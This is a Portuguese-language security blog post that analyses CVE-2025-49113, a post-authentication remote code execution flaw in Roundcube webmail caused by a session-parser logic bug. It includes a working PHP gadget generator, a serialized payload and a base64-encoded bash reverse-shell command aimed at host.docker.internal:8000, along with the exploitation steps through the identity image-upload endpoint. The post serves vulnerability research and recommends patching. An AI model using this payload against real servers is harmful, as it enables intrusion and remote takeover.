Por trás da falha: Erro de Lógica no Parser de Sessão do Roundcube [CVE-2025-49113]
Recentemente, foi descoberta uma vulnerabilidade no serviço de webmail Roundcube que permite a um usuário autenticado obter execução remota de comandos no servidor. A falha foi identificada pelo pesquisador Kirill Firsov e reportada em 2 de junho de 2025.
Detalhes da vulnerabilidade
Resumidamente, a falha ocorre devido a um erro de lógica em um analisador de sessão (session parser) implementado pelos desenvolvedores do Roundcube, o qual permite que um atacante injete objetos arbitrários na sessão e obtenha execução remota de código (RCE) por meio de um gadget presente na biblioteca Crypt_GPG.
A vulnerabilidade está presente no código do Roundcube há mais de 10 anos e foi reportada na versão 1.6.10. Todas as versões anteriores à 1.6.11, com exceção da 1.5.10, estão suscetíveis ao ataque.
Para explorar a vulnerabilidade, é necessário acesso a um endpoint que exige autenticação; portanto, o atacante precisa de credenciais válidas no ambiente Roundcube.
Code Review: Identificando o erro lógico
Antes de iniciar a leitura desta seção, recomendamos fortemente um profundo entendimento sobre o formato dos objetos serializados do PHP, além de conhecimento em explorações de deserialização insegura. Sugerimos a leitura do seguinte blogpost: https://blog.crowsec.com.br/des/
Como dito na seção de detalhes da vulnerabilidade, o bug está em um session parser implementado pelos desenvolvedores do Roundcube.
Acessando o arquivo rcube_session.php
, observamos o seguinte trecho de código, responsável por registrar os custom handlers para as operações realizadas durante o gerenciamento da sessão:
https://github.com/roundcube/roundcubemail/blob/1.6.10/program/lib/Roundcube/rcube_session.php#L109
/**
* Register session handler
*/
public function register_session_handler()
{
if (session_id()) {
// Session already exists, skip
return;
}
ini_set('session.serialize_handler', 'php');
// set custom functions for PHP session management
session_set_save_handler(
[$this, 'open'],
[$this, 'close'],
[$this, 'read'],
[$this, 'sess_write'],
[$this, 'destroy'],
[$this, 'gc']
);
}
Analisando o método rcube_session::sess_write()
, observamos que ele realiza a chamada do método rcube_session::_fixvars()
, que por sua vez invoca o método onde ocorre o bug lógico: rcube_session::unserialize()
.
https://github.com/roundcube/roundcubemail/blob/1.6.10/program/lib/Roundcube/rcube_session.php#L162
/**
* Session write handler. This calls the implementation methods for write/update after some initial checks.
*
* @param string $key Session identifier
* @param string $vars Serialized data string
*
* @return bool True on success, False on failure
*/
public function sess_write($key, $vars)
{
if ($this->nowrite) {
return true;
}
// check cache
$oldvars = $this->get_cache($key);
// if there are cached vars, update store, else insert new data
if ($oldvars) {
$newvars = $this->_fixvars($vars, $oldvars); // FUNCTION CALLED HERE
return $this->update($key, $newvars, $oldvars);
}
else {
return $this->write($key, $vars);
}
}
https://github.com/roundcube/roundcubemail/blob/1.6.10/program/lib/Roundcube/rcube_session.php#L215
/**
* Merge vars with old vars and apply unsets
*/
protected function _fixvars($vars, $oldvars)
{
$newvars = '';
if ($oldvars !== null) {
$a_oldvars = $this->unserialize($oldvars); // VULNERABLE FUNCTION CALLED HERE
if (is_array($a_oldvars)) {
// remove unset keys on oldvars
foreach ((array)$this->unsets as $var) {
if (isset($a_oldvars[$var])) {
unset($a_oldvars[$var]);
}
else {
$path = explode('.', $var);
$k = array_pop($path);
$node = &$this->get_node($path, $a_oldvars);
unset($node[$k]);
}
}
$newvars = $this->serialize(array_merge(
(array)$a_oldvars, (array)$this->unserialize($vars)));
}
else {
$newvars = $vars;
}
}
$this->unsets = [];
return $newvars;
}
A variável $oldvars
contém o conteúdo da sessão do PHP. Veja abaixo um exemplo de conteúdo:
username|s:13:"administrator";isAdmin|b:1;
Esse conteúdo é enviado para o método rcube_session::unserialize()
, que é onde ocorre o bug lógico.
https://github.com/roundcube/roundcubemail/blob/1.6.10/program/lib/Roundcube/rcube_session.php#L506
/**
* Unserialize session data
* https://www.php.net/manual/en/function.session-decode.php#56106
*
* @param string $str Serialized data string
*
* @return array Unserialized data
*/
public static function unserialize($str)
{
$str = (string) $str;
$endptr = strlen($str);
$p = 0;
$serialized = '';
$items = 0;
$level = 0;
while ($p < $endptr) {
$q = $p;
while ($str[$q] != '|')
if (++$q >= $endptr)
break 2;
if ($str[$p] == '!') {
$p++;
$has_value = false;
}
else {
$has_value = true;
}
$name = substr($str, $p, $q - $p);
$q++;
$serialized .= 's:' . strlen($name) . ':"' . $name . '";';
...
}
O código é bastante extenso e confuso — ao menos pessoalmente, sempre considerei cansativo analisar parsers em geral. Por esse motivo, vamos focar nas partes críticas do parser e identificar o ponto exato onde ocorre o erro lógico.
Primeiramente, vamos entender como é o formato de uma sessão no PHP. Veja abaixo um exemplo de código e sua respectiva saída:
<?php
session_start();
$_SESSION['username'] = 'administrator';
$_SESSION['isAdmin'] = 1;
/*
* SESSION CONTENT
* username|s:13:"administrator";isAdmin|b:1;
*/
Perceba que o nome do campo e o conteúdo são separados por um |
.
O método rcube_session::unserialize()
realiza o parsing desse conteúdo e o converte para um formato de objeto serializado do PHP. Veja abaixo um exemplo:
username|s:13:"administrator";isAdmin|b:1; // PHP SESSION CONTENT
a:2:{s:8:"username";s:13:"administrator";s:7:"isAdmin";b:1;} // PHP OBJECT SERIALIZED
Analisando o parser, vemos que ele percorre a string até encontrar o caractere |
. Quando atinge esse caractere, ele salva sua posição e utiliza a função substr
para extrair o nome da “variável” definida na sessão (lembra do formato da sessão? username|s:13:"administrator"
).
Até esse momento, o valor da variável $serialized
seria: s:8:"username";

Perceba que o código apresentado na imagem acima realiza uma validação: se o nome da variável começar com !
, o código não entrará na condição do if
definida na linha 535.
O código dentro do bloco do if
realiza o restante do parsing da sessão. Como não há nenhum bug nesta parte, não entraremos em muitos detalhes.

Analisando o código do bloco do else
(executado quando o nome da variável da sessão começa com !
), observamos que o parser “descarta” o conteúdo da variável e incrementa mais 2 nas variáveis $p
e $q
.

Neste ponto, já nos deparamos com o bug — e você provavelmente nem percebeu… Sim, é algo bastante sutil e cansativo de revisar.
Para facilitar a explicação do bug neste momento, vamos utilizar um exemplo de conteúdo de sessão:
!firstName|s:4:"john";lastName|s:3:"doe";
Pela lógica correta, esse conteúdo serializado seria:
a:2:{s:9:"firstName";N;s:8:"lastName";s:3:"doe";}
Porém, o resultado do parser é:
a:2:{s:9:"firstName";N;s:17:"4:"john";lastName";s:3:"doe";}
Isso acontece porque o código incrementa 2 em $p
, com a intenção de avançar até a posição da próxima variável da sessão. No entanto, esse comportamento está completamente equivocado.
No contexto do exemplo que estamos utilizando, o valor da variável $p
será 13 ao final da iteração.
Ao retornar ao início do loop, o código começará a iterar a próxima “variável” da sessão a partir da posição 13 da string. Ou seja, de acordo com o parser, o nome da variável será: 4:"john";lastName

Perceba que o valor da primeira variável acaba sendo interpretado como parte do nome da segunda variável. No primeiro loop do parser, ele percorre o nome da variável até encontrar o caractere |
.
E se inserirmos um |
no nome da segunda variável utilizando esse bug lógico? Ao fazer isso, conseguimos injetar conteúdo na sessão. Veja um exemplo:
<?php
session_start();
$_SESSION['!firstName'] = '|s:3:"pwn";';
$_SESSION['lastName'] = 'doe';
/*
* Example of serialized session data:
* !firstName|s:11:"|s:3:"pwn";";lastName|s:3:"doe";
*
* Example of serialized PHP object:
* a:3:{s:9:"firstName";N;s:4:"11:"";s:3:"pwn";s:10:"";lastName";s:3:"doe";}
*/
Se você estiver se perguntando: “Por que não inserir um |
diretamente no nome da variável sem precisar explorar o bug lógico? Isso não resultaria também em injection?”. A resposta é não. Por padrão, o PHP não permite o caractere |
no nome das variáveis, justamente para evitar esse tipo de bug de injeção de dados na sessão.
A ideia aqui é explorar esse bug lógico do parser para injetar um objeto no conteúdo da sessão e, ao deserializá-lo, conseguirmos disparar um RCE utilizando um gadget.
Temos dois grandes requisitos para explorar esse bug:
- Precisamos de algum endpoint que nos dê controle tanto sobre o nome quanto sobre o valor das variáveis de sessão.
- Precisamos de um gadget que possibilite a obtenção de RCE por meio de object injection.
Explorando vulnerabilidade
Analisando o método rcmail_action_settings_upload::run()
, observamos que ele cria uma variável na sessão sobre a qual temos controle tanto do nome quanto do valor.
https://github.com/roundcube/roundcubemail/blob/master/program/actions/settings/upload.php#L30
public function run($args = [])
{
$rcmail = rcmail::get_instance();
$from = rcube_utils::get_input_string('_from', rcube_utils::INPUT_GET);
$type = preg_replace('/(add|edit)-/', '', $from);
// code...
$type = str_replace('.', '-', $type);
if (!empty($imageprop)) {
$attachment = $rcmail->plugins->exec_hook('attachment_upload', [
'path' => $filepath,
'size' => $_FILES['_file']['size'][$i],
'name' => $_FILES['_file']['name'][$i],
'mimetype' => 'image/' . $imageprop['type'],
'group' => $type,
]);
}
// code...
$rcmail->session->append($type . '.files', $id, $attachment);
// code...
}
Observamos que o conteúdo do parâmetro _from
é utilizado como nome da variável de sessão. Além disso, o valor dessa variável é o objeto contido na variável $attachment
. O nome do arquivo recebido pelo formulário é atribuído ao campo name
desse objeto — ou seja, também temos um certo controle sobre o valor da variável definida na sessão.
Com isso, já atendemos ao primeiro requisito: controle sobre o nome e o valor da variável inserida na sessão.
Ao procurar por um gadget, encontramos uma chain bastante simples na classe Crypt_GPG_Engine
. O método Crypt_GPG_Engine::__destruct
invoca o método Crypt_GPG_Engine::_closeIdleAgents
, que, por sua vez, utiliza a função proc_open
sobre a propriedade $this->_gpgconf
.
class Crypt_GPG_Engine
{
public function __destruct()
{
$this->_closeSubprocess();
$this->_closeIdleAgents();
}
private function _closeIdleAgents()
{
if ($this->_gpgconf) {
// before 2.1.13 --homedir wasn't supported, use env variable
$env = array('GNUPGHOME' => $this->_homedir);
$cmd = $this->_gpgconf . ' --kill gpg-agent';
if ($process = proc_open($cmd, array(), $pipes, null, $env)) {
proc_close($process);
}
}
}
}
Podemos criar um gadget para obter RCE atribuindo uma string maliciosa à propriedade $this->_gpgconf
para explorar uma vulnerabilidade de command injection.
<?php
class Crypt_GPG_Engine
{
public string $_gpgconf;
public function __construct($_gpgconf = '')
{
$this->_gpgconf = $_gpgconf;
}
}
$command = '/bin/bash -c "bash -i >& /dev/tcp/host.docker.internal/8000 0>&1"';
$payload = "echo '" . base64_encode($command) . "'|base64 -d|sh;#";
$crypt_gpg_engine = new Crypt_GPG_Engine($payload);
echo "|" . serialize($crypt_gpg_engine) . ";" . PHP_EOL;
/*
* Execution output
* |O:16:"Crypt_GPG_Engine":1:{s:8:"_gpgconf";s:110:"echo 'L2Jpbi9iYXNoIC1jICJiYXNoIC1pID4mIC9kZXYvdGNwL2hvc3QuZG9ja2VyLmludGVybmFsLzgwMDAgMD4mMSI='|base64 -d|sh;#";};
*/
Detalhe importante: definir a propriedade como pública remove os bytes nulos da payload serializada — e isso é extremamente relevante para o sucesso da exploração.
Com o gadget em mãos e um endpoint que nos permite controlar a sessão, podemos prosseguir com a exploração e obter RCE no Roundcube.
Obtendo RCE
Acessando a funcionalidade de upload de imagem nas configurações de identidade:

Interceptando a requisição utilizando o Burp Suite:

Definindo o caractere !
no campo _from
(nome da variável) e inserindo a payload de injeção com o gadget no campo filename
, conseguimos explorar a vulnerabilidade e obter RCE na aplicação:


Durante o estudo da PoC, nosso time desenvolveu um exploit para facilitar a exploração da vulnerabilidade.
https://github.com/hakaioffsec/CVE-2025-49113-exploit
Considerações finais
Essa exploração envolve diversos conceitos complexos, como Insecure Deserialization e Session Injection. No entanto, o ponto mais relevante neste artigo é compreender o bug lógico presente no parser do conteúdo da sessão.
Durante a reprodução da PoC, estudamos o artigo publicado por Kirill Firsov, sendo fundamental obter um entendimento completo do parser para alcançar sucesso na exploração (isso ocorreu antes da publicação do código do exploit).
Registramos aqui nossas parabenizações ao pesquisador pelo excelente trabalho e pela incrível pesquisa conduzida no Roundcube.
Recomendação
Recomendamos que o Roundcube seja atualizado para a versão mais recente (1.6.11) ou, alternativamente, para a versão 1.5.10, que também recebeu o patch de segurança.
Referências
https://github.com/fearsoff-org/CVE-2025-49113
Roundcube ≤ 1.6.10 Post-Auth RCE via PHP Object Deserialization [CVE-2025-49113]